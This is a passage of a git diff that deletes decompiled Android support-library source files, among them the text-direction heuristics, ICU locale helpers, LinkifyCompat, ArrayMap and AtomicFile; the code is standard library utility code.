this.text; - this.charIndex = i3 + 1; - charAt = str2.charAt(i3); - this.lastChar = charAt; - } - } while (charAt != charAt2); - } - } else { - this.charIndex = i; - this.lastChar = '<'; - return (byte) 13; - } - } - } - - private byte skipTagBackward() { - char charAt; - int i = this.charIndex; - while (true) { - int i2 = this.charIndex; - if (i2 <= 0) { - break; - } - String str = this.text; - int i3 = i2 - 1; - this.charIndex = i3; - char charAt2 = str.charAt(i3); - this.lastChar = charAt2; - if (charAt2 == '<') { - return (byte) 12; - } - if (charAt2 == '>') { - break; - } else if (charAt2 == '\"' || charAt2 == '\'') { - do { - int i4 = this.charIndex; - if (i4 > 0) { - String str2 = this.text; - int i5 = i4 - 1; - this.charIndex = i5; - charAt = str2.charAt(i5); - this.lastChar = charAt; - } - } while (charAt != charAt2); - } - } - this.charIndex = i; - this.lastChar = '>'; - return (byte) 13; - } - - private byte skipEntityForward() { - char charAt; - do { - int i = this.charIndex; - if (i >= this.length) { - return (byte) 12; - } - String str = this.text; - this.charIndex = i + 1; - charAt = str.charAt(i); - this.lastChar = charAt; - } while (charAt != ';'); - return (byte) 12; - } - - private byte skipEntityBackward() { - char charAt; - int i = this.charIndex; - do { - int i2 = this.charIndex; - if (i2 <= 0) { - break; - } - String str = this.text; - int i3 = i2 - 1; - this.charIndex = i3; - charAt = str.charAt(i3); - this.lastChar = charAt; - if (charAt == '&') { - return (byte) 12; - } - } while (charAt != ';'); - this.charIndex = i; - this.lastChar = ';'; - return (byte) 13; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompat.java deleted file mode 100644 index e063371..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompat.java +++ /dev/null @@ -1,52 +0,0 @@ -package android.support.v4.text; - -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ICUCompat { - private static final ICUCompatImpl IMPL = new ICUCompatImplLollipop(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ICUCompatImpl { - String maximizeAndGetScript(Locale locale); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ICUCompatImplBase implements ICUCompatImpl { - @Override // android.support.v4.text.ICUCompat.ICUCompatImpl - public String maximizeAndGetScript(Locale locale) { - return null; - } - - ICUCompatImplBase() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ICUCompatImplIcs implements ICUCompatImpl { - ICUCompatImplIcs() { - } - - @Override // android.support.v4.text.ICUCompat.ICUCompatImpl - public String maximizeAndGetScript(Locale locale) { - return ICUCompatIcs.maximizeAndGetScript(locale); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ICUCompatImplLollipop implements ICUCompatImpl { - ICUCompatImplLollipop() { - } - - @Override // android.support.v4.text.ICUCompat.ICUCompatImpl - public String maximizeAndGetScript(Locale locale) { - return ICUCompatApi23.maximizeAndGetScript(locale); - } - } - - public static String maximizeAndGetScript(Locale locale) { - return IMPL.maximizeAndGetScript(locale); - } - - private ICUCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompatApi23.java deleted file mode 100644 index 80aa745..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompatApi23.java +++ /dev/null @@ -1,34 +0,0 @@ -package android.support.v4.text; - -import android.util.Log; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ICUCompatApi23 { - private static final String TAG = "ICUCompatIcs"; - private static Method sAddLikelySubtagsMethod; - - ICUCompatApi23() { - } - - static { - try { - sAddLikelySubtagsMethod = Class.forName("libcore.icu.ICU").getMethod("addLikelySubtags", Locale.class); - } catch (Exception e) { - throw new IllegalStateException(e); - } - } - - public static String maximizeAndGetScript(Locale locale) { - try { - return ((Locale) sAddLikelySubtagsMethod.invoke(null, locale)).getScript(); - } catch (IllegalAccessException e) { - Log.w(TAG, e); - return locale.getScript(); - } catch (InvocationTargetException e2) { - Log.w(TAG, e2); - return locale.getScript(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompatIcs.java deleted file mode 100644 index 592b1f7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/ICUCompatIcs.java +++ /dev/null @@ -1,66 +0,0 @@ -package android.support.v4.text; - -import android.util.Log; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ICUCompatIcs { - private static final String TAG = "ICUCompatIcs"; - private static Method sAddLikelySubtagsMethod; - private static Method sGetScriptMethod; - - ICUCompatIcs() { - } - - static { - try { - Class cls = Class.forName("libcore.icu.ICU"); - if (cls != null) { - sGetScriptMethod = cls.getMethod("getScript", String.class); - sAddLikelySubtagsMethod = cls.getMethod("addLikelySubtags", String.class); - } - } catch (Exception e) { - sGetScriptMethod = null; - sAddLikelySubtagsMethod = null; - Log.w(TAG, e); - } - } - - public static String maximizeAndGetScript(Locale locale) { - String addLikelySubtags = addLikelySubtags(locale); - if (addLikelySubtags != null) { - return getScript(addLikelySubtags); - } - return null; - } - - private static String getScript(String str) { - try { - Method method = sGetScriptMethod; - if (method != null) { - return (String) method.invoke(null, str); - } - } catch (IllegalAccessException e) { - Log.w(TAG, e); - } catch (InvocationTargetException e2) { - Log.w(TAG, e2); - } - return null; - } - - private static String addLikelySubtags(Locale locale) { - String locale2 = locale.toString(); - try { - Method method = sAddLikelySubtagsMethod; - if (method != null) { - return (String) method.invoke(null, locale2); - } - } catch (IllegalAccessException e) { - Log.w(TAG, e); - } catch (InvocationTargetException e2) { - Log.w(TAG, e2); - } - return locale2; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/TextDirectionHeuristicCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/text/TextDirectionHeuristicCompat.java deleted file mode 100644 index 5a07097..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/TextDirectionHeuristicCompat.java +++ /dev/null @@ -1,7 +0,0 @@ -package android.support.v4.text; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface TextDirectionHeuristicCompat { - boolean isRtl(CharSequence charSequence, int i, int i2); - - boolean isRtl(char[] cArr, int i, int i2); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/TextDirectionHeuristicsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/text/TextDirectionHeuristicsCompat.java deleted file mode 100644 index 4f69f5d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/TextDirectionHeuristicsCompat.java +++ /dev/null @@ -1,176 +0,0 @@ -package android.support.v4.text; - -import android.support.v4.view.MotionEventCompat; -import java.nio.CharBuffer; -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TextDirectionHeuristicsCompat { - private static final int STATE_FALSE = 1; - private static final int STATE_TRUE = 0; - private static final int STATE_UNKNOWN = 2; - public static final TextDirectionHeuristicCompat LTR = new TextDirectionHeuristicInternal(null, false); - public static final TextDirectionHeuristicCompat RTL = new TextDirectionHeuristicInternal(null, true); - public static final TextDirectionHeuristicCompat FIRSTSTRONG_LTR = new TextDirectionHeuristicInternal(FirstStrong.INSTANCE, false); - public static final TextDirectionHeuristicCompat FIRSTSTRONG_RTL = new TextDirectionHeuristicInternal(FirstStrong.INSTANCE, true); - public static final TextDirectionHeuristicCompat ANYRTL_LTR = new TextDirectionHeuristicInternal(AnyStrong.INSTANCE_RTL, false); - public static final TextDirectionHeuristicCompat LOCALE = TextDirectionHeuristicLocale.INSTANCE; - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface TextDirectionAlgorithm { - int checkRtl(CharSequence charSequence, int i, int i2); - } - - static int isRtlText(int i) { - if (i != 0) { - return (i == 1 || i == 2) ? 0 : 2; - } - return 1; - } - - static int isRtlTextOrFormat(int i) { - if (i != 0) { - if (i == 1 || i == 2) { - return 0; - } - switch (i) { - case MotionEventCompat.AXIS_RZ /* 14 */: - case 15: - break; - case 16: - case 17: - return 0; - default: - return 2; - } - } - return 1; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static abstract class TextDirectionHeuristicImpl implements TextDirectionHeuristicCompat { - private final TextDirectionAlgorithm mAlgorithm; - - protected abstract boolean defaultIsRtl(); - - public TextDirectionHeuristicImpl(TextDirectionAlgorithm textDirectionAlgorithm) { - this.mAlgorithm = textDirectionAlgorithm; - } - - @Override // android.support.v4.text.TextDirectionHeuristicCompat - public boolean isRtl(char[] cArr, int i, int i2) { - return isRtl(CharBuffer.wrap(cArr), i, i2); - } - - @Override // android.support.v4.text.TextDirectionHeuristicCompat - public boolean isRtl(CharSequence charSequence, int i, int i2) { - if (charSequence == null || i < 0 || i2 < 0 || charSequence.length() - i2 < i) { - throw new IllegalArgumentException(); - } - if (this.mAlgorithm == null) { - return defaultIsRtl(); - } - return doCheck(charSequence, i, i2); - } - - private boolean doCheck(CharSequence charSequence, int i, int i2) { - int checkRtl = this.mAlgorithm.checkRtl(charSequence, i, i2); - if (checkRtl != 0) { - if (checkRtl != 1) { - return defaultIsRtl(); - } - return false; - } - return true; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class TextDirectionHeuristicInternal extends TextDirectionHeuristicImpl { - private final boolean mDefaultIsRtl; - - TextDirectionHeuristicInternal(TextDirectionAlgorithm textDirectionAlgorithm, boolean z) { - super(textDirectionAlgorithm); - this.mDefaultIsRtl = z; - } - - @Override // android.support.v4.text.TextDirectionHeuristicsCompat.TextDirectionHeuristicImpl - protected boolean defaultIsRtl() { - return this.mDefaultIsRtl; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class FirstStrong implements TextDirectionAlgorithm { - public static final FirstStrong INSTANCE = new FirstStrong(); - - @Override // android.support.v4.text.TextDirectionHeuristicsCompat.TextDirectionAlgorithm - public int checkRtl(CharSequence charSequence, int i, int i2) { - int i3 = i2 + i; - int i4 = 2; - while (i < i3 && i4 == 2) { - i4 = TextDirectionHeuristicsCompat.isRtlTextOrFormat(Character.getDirectionality(charSequence.charAt(i))); - i++; - } - return i4; - } - - private FirstStrong() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AnyStrong implements TextDirectionAlgorithm { - private final boolean mLookForRtl; - public static final AnyStrong INSTANCE_RTL = new AnyStrong(true); - public static final AnyStrong INSTANCE_LTR = new AnyStrong(false); - - @Override // android.support.v4.text.TextDirectionHeuristicsCompat.TextDirectionAlgorithm - public int checkRtl(CharSequence charSequence, int i, int i2) { - int i3 = i2 + i; - boolean z = false; - while (i < i3) { - int isRtlText = TextDirectionHeuristicsCompat.isRtlText(Character.getDirectionality(charSequence.charAt(i))); - if (isRtlText != 0) { - if (isRtlText != 1) { - continue; - i++; - z = z; - } else if (!this.mLookForRtl) { - return 1; - } - } else if (this.mLookForRtl) { - return 0; - } - z = true; - i++; - z = z; - } - if (z) { - return this.mLookForRtl ? 1 : 0; - } - return 2; - } - - private AnyStrong(boolean z) { - this.mLookForRtl = z; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class TextDirectionHeuristicLocale extends TextDirectionHeuristicImpl { - public static final TextDirectionHeuristicLocale INSTANCE = new TextDirectionHeuristicLocale(); - - public TextDirectionHeuristicLocale() { - super(null); - } - - @Override // android.support.v4.text.TextDirectionHeuristicsCompat.TextDirectionHeuristicImpl - protected boolean defaultIsRtl() { - return TextUtilsCompat.getLayoutDirectionFromLocale(Locale.getDefault()) == 1; - } - } - - private TextDirectionHeuristicsCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/TextUtilsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/text/TextUtilsCompat.java deleted file mode 100644 index b655949..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/TextUtilsCompat.java +++ /dev/null @@ -1,80 +0,0 @@ -package android.support.v4.text; - -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TextUtilsCompat { - private static final TextUtilsCompatImpl IMPL = new TextUtilsCompatJellybeanMr1Impl(); - public static final Locale ROOT = new Locale("", ""); - static String ARAB_SCRIPT_SUBTAG = "Arab"; - static String HEBR_SCRIPT_SUBTAG = "Hebr"; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class TextUtilsCompatImpl { - TextUtilsCompatImpl() { - } - - public String htmlEncode(String str) { - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < str.length(); i++) { - char charAt = str.charAt(i); - if (charAt == '\"') { - sb.append("""); - } else if (charAt == '<') { - sb.append("<"); - } else if (charAt == '>') { - sb.append(">"); - } else if (charAt == '&') { - sb.append("&"); - } else if (charAt == '\'') { - sb.append("'"); - } else { - sb.append(charAt); - } - } - return sb.toString(); - } - - public int getLayoutDirectionFromLocale(Locale locale) { - if (locale == null || locale.equals(TextUtilsCompat.ROOT)) { - return 0; - } - String maximizeAndGetScript = ICUCompat.maximizeAndGetScript(locale); - if (maximizeAndGetScript == null) { - return getLayoutDirectionFromFirstChar(locale); - } - return (maximizeAndGetScript.equalsIgnoreCase(TextUtilsCompat.ARAB_SCRIPT_SUBTAG) || maximizeAndGetScript.equalsIgnoreCase(TextUtilsCompat.HEBR_SCRIPT_SUBTAG)) ? 1 : 0; - } - - private static int getLayoutDirectionFromFirstChar(Locale locale) { - byte directionality = Character.getDirectionality(locale.getDisplayName(locale).charAt(0)); - return (directionality == 1 || directionality == 2) ? 1 : 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class TextUtilsCompatJellybeanMr1Impl extends TextUtilsCompatImpl { - TextUtilsCompatJellybeanMr1Impl() { - } - - @Override // android.support.v4.text.TextUtilsCompat.TextUtilsCompatImpl - public String htmlEncode(String str) { - return TextUtilsCompatJellybeanMr1.htmlEncode(str); - } - - @Override // android.support.v4.text.TextUtilsCompat.TextUtilsCompatImpl - public int getLayoutDirectionFromLocale(Locale locale) { - return TextUtilsCompatJellybeanMr1.getLayoutDirectionFromLocale(locale); - } - } - - public static String htmlEncode(String str) { - return IMPL.htmlEncode(str); - } - - public static int getLayoutDirectionFromLocale(Locale locale) { - return IMPL.getLayoutDirectionFromLocale(locale); - } - - private TextUtilsCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/TextUtilsCompatJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/text/TextUtilsCompatJellybeanMr1.java deleted file mode 100644 index e9ec4e7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/TextUtilsCompatJellybeanMr1.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.text; - -import android.text.TextUtils; -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TextUtilsCompatJellybeanMr1 { - TextUtilsCompatJellybeanMr1() { - } - - public static String htmlEncode(String str) { - return TextUtils.htmlEncode(str); - } - - public static int getLayoutDirectionFromLocale(Locale locale) { - return TextUtils.getLayoutDirectionFromLocale(locale); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/util/LinkifyCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/text/util/LinkifyCompat.java deleted file mode 100644 index eaf37bb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/util/LinkifyCompat.java +++ /dev/null @@ -1,286 +0,0 @@ -package android.support.v4.text.util; - -import android.support.v4.util.PatternsCompat; -import android.text.Spannable; -import android.text.SpannableString; -import android.text.method.LinkMovementMethod; -import android.text.method.MovementMethod; -import android.text.style.URLSpan; -import android.text.util.Linkify; -import android.webkit.WebView; -import android.widget.TextView; -import java.io.UnsupportedEncodingException; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.net.URLEncoder; -import java.util.ArrayList; -import java.util.Collections; -import java.util.Comparator; -import java.util.Iterator; -import java.util.Locale; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class LinkifyCompat { - private static final String[] EMPTY_STRING = new String[0]; - private static final Comparator COMPARATOR = new Comparator() { // from class: android.support.v4.text.util.LinkifyCompat.1 - @Override // java.util.Comparator - public final int compare(LinkSpec linkSpec, LinkSpec linkSpec2) { - if (linkSpec.start < linkSpec2.start) { - return -1; - } - if (linkSpec.start <= linkSpec2.start && linkSpec.end >= linkSpec2.end) { - return linkSpec.end > linkSpec2.end ? -1 : 0; - } - return 1; - } - }; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface LinkifyMask { - } - - public static final boolean addLinks(Spannable spannable, int i) { - if (i == 0) { - return false; - } - URLSpan[] uRLSpanArr = (URLSpan[]) spannable.getSpans(0, spannable.length(), URLSpan.class); - for (int length = uRLSpanArr.length - 1; length >= 0; length--) { - spannable.removeSpan(uRLSpanArr[length]); - } - if ((i & 4) != 0) { - Linkify.addLinks(spannable, 4); - } - ArrayList arrayList = new ArrayList(); - if ((i & 1) != 0) { - gatherLinks(arrayList, spannable, PatternsCompat.AUTOLINK_WEB_URL, new String[]{"http://", "https://", "rtsp://"}, Linkify.sUrlMatchFilter, null); - } - if ((i & 2) != 0) { - gatherLinks(arrayList, spannable, PatternsCompat.AUTOLINK_EMAIL_ADDRESS, new String[]{"mailto:"}, null, null); - } - if ((i & 8) != 0) { - gatherMapLinks(arrayList, spannable); - } - pruneOverlaps(arrayList, spannable); - if (arrayList.size() == 0) { - return false; - } - Iterator it = arrayList.iterator(); - while (it.hasNext()) { - LinkSpec linkSpec = (LinkSpec) it.next(); - if (linkSpec.frameworkAddedSpan == null) { - applyLink(linkSpec.url, linkSpec.start, linkSpec.end, spannable); - } - } - return true; - } - - public static final boolean addLinks(TextView textView, int i) { - if (i == 0) { - return false; - } - CharSequence text = textView.getText(); - if (text instanceof Spannable) { - if (addLinks((Spannable) text, i)) { - addLinkMovementMethod(textView); - return true; - } - return false; - } - SpannableString valueOf = SpannableString.valueOf(text); - if (addLinks(valueOf, i)) { - addLinkMovementMethod(textView); - textView.setText(valueOf); - return true; - } - return false; - } - - public static final void addLinks(TextView textView, Pattern pattern, String str) { - addLinks(textView, pattern, str, (String[]) null, (Linkify.MatchFilter) null, (Linkify.TransformFilter) null); - } - - public static final void addLinks(TextView textView, Pattern pattern, String str, Linkify.MatchFilter matchFilter, Linkify.TransformFilter transformFilter) { - addLinks(textView, pattern, str, (String[]) null, matchFilter, transformFilter); - } - - public static final void addLinks(TextView textView, Pattern pattern, String str, String[] strArr, Linkify.MatchFilter matchFilter, Linkify.TransformFilter transformFilter) { - SpannableString valueOf = SpannableString.valueOf(textView.getText()); - if (addLinks(valueOf, pattern, str, strArr, matchFilter, transformFilter)) { - textView.setText(valueOf); - addLinkMovementMethod(textView); - } - } - - public static final boolean addLinks(Spannable spannable, Pattern pattern, String str) { - return addLinks(spannable, pattern, str, (String[]) null, (Linkify.MatchFilter) null, (Linkify.TransformFilter) null); - } - - public static final boolean addLinks(Spannable spannable, Pattern pattern, String str, Linkify.MatchFilter matchFilter, Linkify.TransformFilter transformFilter) { - return addLinks(spannable, pattern, str, (String[]) null, matchFilter, transformFilter); - } - - public static final boolean addLinks(Spannable spannable, Pattern pattern, String str, String[] strArr, Linkify.MatchFilter matchFilter, Linkify.TransformFilter transformFilter) { - String lowerCase; - if (str == null) { - str = ""; - } - if (strArr == null || strArr.length < 1) { - strArr = EMPTY_STRING; - } - String[] strArr2 = new String[strArr.length + 1]; - strArr2[0] = str.toLowerCase(Locale.ROOT); - int i = 0; - while (i < strArr.length) { - String str2 = strArr[i]; - i++; - if (str2 == null) { - lowerCase = ""; - } else { - lowerCase = str2.toLowerCase(Locale.ROOT); - } - strArr2[i] = lowerCase; - } - Matcher matcher = pattern.matcher(spannable); - boolean z = false; - while (matcher.find()) { - int start = matcher.start(); - int end = matcher.end(); - if (matchFilter == null || matchFilter.acceptMatch(spannable, start, end)) { - applyLink(makeUrl(matcher.group(0), strArr2, matcher, transformFilter), start, end, spannable); - z = true; - } - } - return z; - } - - private static void addLinkMovementMethod(TextView textView) { - MovementMethod movementMethod = textView.getMovementMethod(); - if ((movementMethod == null || !(movementMethod instanceof LinkMovementMethod)) && textView.getLinksClickable()) { - textView.setMovementMethod(LinkMovementMethod.getInstance()); - } - } - - private static String makeUrl(String str, String[] strArr, Matcher matcher, Linkify.TransformFilter transformFilter) { - boolean z; - if (transformFilter != null) { - str = transformFilter.transformUrl(matcher, str); - } - int i = 0; - while (true) { - if (i >= strArr.length) { - z = false; - break; - } - String str2 = strArr[i]; - if (str.regionMatches(true, 0, str2, 0, str2.length())) { - String str3 = strArr[i]; - z = true; - if (!str.regionMatches(false, 0, str3, 0, str3.length())) { - str = strArr[i] + str.substring(strArr[i].length()); - } - } else { - i++; - } - } - return (z || strArr.length <= 0) ? str : strArr[0] + str; - } - - private static void gatherLinks(ArrayList arrayList, Spannable spannable, Pattern pattern, String[] strArr, Linkify.MatchFilter matchFilter, Linkify.TransformFilter transformFilter) { - Matcher matcher = pattern.matcher(spannable); - while (matcher.find()) { - int start = matcher.start(); - int end = matcher.end(); - if (matchFilter == null || matchFilter.acceptMatch(spannable, start, end)) { - LinkSpec linkSpec = new LinkSpec(); - linkSpec.url = makeUrl(matcher.group(0), strArr, matcher, transformFilter); - linkSpec.start = start; - linkSpec.end = end; - arrayList.add(linkSpec); - } - } - } - - private static void applyLink(String str, int i, int i2, Spannable spannable) { - spannable.setSpan(new URLSpan(str), i, i2, 33); - } - - private static final void gatherMapLinks(ArrayList arrayList, Spannable spannable) { - int indexOf; - String obj = spannable.toString(); - int i = 0; - while (true) { - try { - String findAddress = WebView.findAddress(obj); - if (findAddress != null && (indexOf = obj.indexOf(findAddress)) >= 0) { - LinkSpec linkSpec = new LinkSpec(); - int length = findAddress.length() + indexOf; - linkSpec.start = indexOf + i; - i += length; - linkSpec.end = i; - obj = obj.substring(length); - try { - linkSpec.url = "geo:0,0?q=" + URLEncoder.encode(findAddress, "UTF-8"); - arrayList.add(linkSpec); - } catch (UnsupportedEncodingException unused) { - } - } - return; - } catch (UnsupportedOperationException unused2) { - return; - } - } - } - - private static final void pruneOverlaps(ArrayList arrayList, Spannable spannable) { - int i; - int i2 = 0; - Object[] objArr = (URLSpan[]) spannable.getSpans(0, spannable.length(), URLSpan.class); - for (int i3 = 0; i3 < objArr.length; i3++) { - LinkSpec linkSpec = new LinkSpec(); - linkSpec.frameworkAddedSpan = objArr[i3]; - linkSpec.start = spannable.getSpanStart(objArr[i3]); - linkSpec.end = spannable.getSpanEnd(objArr[i3]); - arrayList.add(linkSpec); - } - Collections.sort(arrayList, COMPARATOR); - int size = arrayList.size(); - while (i2 < size - 1) { - LinkSpec linkSpec2 = arrayList.get(i2); - int i4 = i2 + 1; - LinkSpec linkSpec3 = arrayList.get(i4); - if (linkSpec2.start <= linkSpec3.start && linkSpec2.end > linkSpec3.start) { - if (linkSpec3.end > linkSpec2.end && linkSpec2.end - linkSpec2.start <= linkSpec3.end - linkSpec3.start) { - i = linkSpec2.end - linkSpec2.start < linkSpec3.end - linkSpec3.start ? i2 : -1; - } else { - i = i4; - } - if (i != -1) { - Object obj = arrayList.get(i).frameworkAddedSpan; - if (obj != null) { - spannable.removeSpan(obj); - } - arrayList.remove(i); - size--; - } - } - i2 = i4; - } - } - - private LinkifyCompat() { - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class LinkSpec { - int end; - URLSpan frameworkAddedSpan; - int start; - String url; - - LinkSpec() { - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/ArrayMap.java b/apk_3230/decompiled_source/sources/android/support/v4/util/ArrayMap.java deleted file mode 100644 index 10467cf..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/ArrayMap.java +++ /dev/null @@ -1,107 +0,0 @@ -package android.support.v4.util; - -import java.util.Collection; -import java.util.Map; -import java.util.Set; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ArrayMap extends SimpleArrayMap implements Map { - MapCollections mCollections; - - public ArrayMap() { - } - - public ArrayMap(int i) { - super(i); - } - - public ArrayMap(SimpleArrayMap simpleArrayMap) { - super(simpleArrayMap); - } - - private MapCollections getCollection() { - if (this.mCollections == null) { - this.mCollections = new MapCollections() { // from class: android.support.v4.util.ArrayMap.1 - @Override // android.support.v4.util.MapCollections - protected int colGetSize() { - return ArrayMap.this.mSize; - } - - @Override // android.support.v4.util.MapCollections - protected Object colGetEntry(int i, int i2) { - return ArrayMap.this.mArray[(i << 1) + i2]; - } - - @Override // android.support.v4.util.MapCollections - protected int colIndexOfKey(Object obj) { - return ArrayMap.this.indexOfKey(obj); - } - - @Override // android.support.v4.util.MapCollections - protected int colIndexOfValue(Object obj) { - return ArrayMap.this.indexOfValue(obj); - } - - @Override // android.support.v4.util.MapCollections - protected Map colGetMap() { - return ArrayMap.this; - } - - @Override // android.support.v4.util.MapCollections - protected void colPut(K k, V v) { - ArrayMap.this.put(k, v); - } - - @Override // android.support.v4.util.MapCollections - protected V colSetValue(int i, V v) { - return ArrayMap.this.setValueAt(i, v); - } - - @Override // android.support.v4.util.MapCollections - protected void colRemoveAt(int i) { - ArrayMap.this.removeAt(i); - } - - @Override // android.support.v4.util.MapCollections - protected void colClear() { - ArrayMap.this.clear(); - } - }; - } - return this.mCollections; - } - - public boolean containsAll(Collection collection) { - return MapCollections.containsAllHelper(this, collection); - } - - @Override // java.util.Map - public void putAll(Map map) { - ensureCapacity(this.mSize + map.size()); - for (Map.Entry entry : map.entrySet()) { - put(entry.getKey(), entry.getValue()); - } - } - - public boolean removeAll(Collection collection) { - return MapCollections.removeAllHelper(this, collection); - } - - public boolean retainAll(Collection collection) { - return MapCollections.retainAllHelper(this, collection); - } - - @Override // java.util.Map - public Set> entrySet() { - return getCollection().getEntrySet(); - } - - @Override // java.util.Map - public Set keySet() { - return getCollection().getKeySet(); - } - - @Override // java.util.Map - public Collection values() { - return getCollection().getValues(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/AtomicFile.java b/apk_3230/decompiled_source/sources/android/support/v4/util/AtomicFile.java deleted file mode 100644 index e598b34..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/AtomicFile.java +++ /dev/null @@ -1,119 +0,0 @@ -package android.support.v4.util; - -import android.util.Log; -import java.io.File; -import java.io.FileInputStream; -import java.io.FileNotFoundException; -import java.io.FileOutputStream; -import java.io.IOException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AtomicFile { - private final File mBackupName; - private final File mBaseName; - - public AtomicFile(File file) { - this.mBaseName = file; - this.mBackupName = new File(file.getPath() + ".bak"); - } - - public File getBaseFile() { - return this.mBaseName; - } - - public void delete() { - this.mBaseName.delete(); - this.mBackupName.delete(); - } - - public FileOutputStream startWrite() throws IOException { - if (this.mBaseName.exists()) { - if (!this.mBackupName.exists()) { - if (!this.mBaseName.renameTo(this.mBackupName)) { - Log.w("AtomicFile", "Couldn't rename file " + this.mBaseName + " to backup file " + this.mBackupName); - } - } else { - this.mBaseName.delete(); - } - } - try { - return new FileOutputStream(this.mBaseName); - } catch (FileNotFoundException unused) { - if (!this.mBaseName.getParentFile().mkdirs()) { - throw new IOException("Couldn't create directory " + this.mBaseName); - } - try { - return new FileOutputStream(this.mBaseName); - } catch (FileNotFoundException unused2) { - throw new IOException("Couldn't create " + this.mBaseName); - } - } - } - - public void finishWrite(FileOutputStream fileOutputStream) { - if (fileOutputStream != null) { - sync(fileOutputStream); - try { - fileOutputStream.close(); - this.mBackupName.delete(); - } catch (IOException e) { - Log.w("AtomicFile", "finishWrite: Got exception:", e); - } - } - } - - public void failWrite(FileOutputStream fileOutputStream) { - if (fileOutputStream != null) { - sync(fileOutputStream); - try { - fileOutputStream.close(); - this.mBaseName.delete(); - this.mBackupName.renameTo(this.mBaseName); - } catch (IOException e) { - Log.w("AtomicFile", "failWrite: Got exception:", e); - } - } - } - - public FileInputStream openRead() throws FileNotFoundException { - if (this.mBackupName.exists()) { - this.mBaseName.delete(); - this.mBackupName.renameTo(this.mBaseName); - } - return new FileInputStream(this.mBaseName); - } - - public byte[] readFully() throws IOException { - FileInputStream openRead = openRead(); - try { - byte[] bArr = new byte[openRead.available()]; - int i = 0; - while (true) { - int read = openRead.read(bArr, i, bArr.length - i); - if (read <= 0) { - return bArr; - } - i += read; - int available = openRead.available(); - if (available > bArr.length - i) { - byte[] bArr2 = new byte[available + i]; - System.arraycopy(bArr, 0, bArr2, 0, i); - bArr = bArr2; - } - } - } finally { - openRead.close(); - } - } - - static boolean sync(FileOutputStream fileOutputStream) { - if (fileOutputStream != null) { - try { - fileOutputStream.getFD().sync(); - return true; - } catch (IOException unused) { - return false; - } - } - return true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/CircularArray.java b/apk_3230/decompiled_source/sources/android/support/v4/util/CircularArray.java deleted file mode 100644 index 03d4b26..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/CircularArray.java +++ /dev/null @@ -1,185 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class CircularArray { - private int mCapacityBitmask; - private E[] mElements; - private int mHead; - private int mTail; - - private void doubleCapacity() { - E[] eArr = this.mElements; - int length = 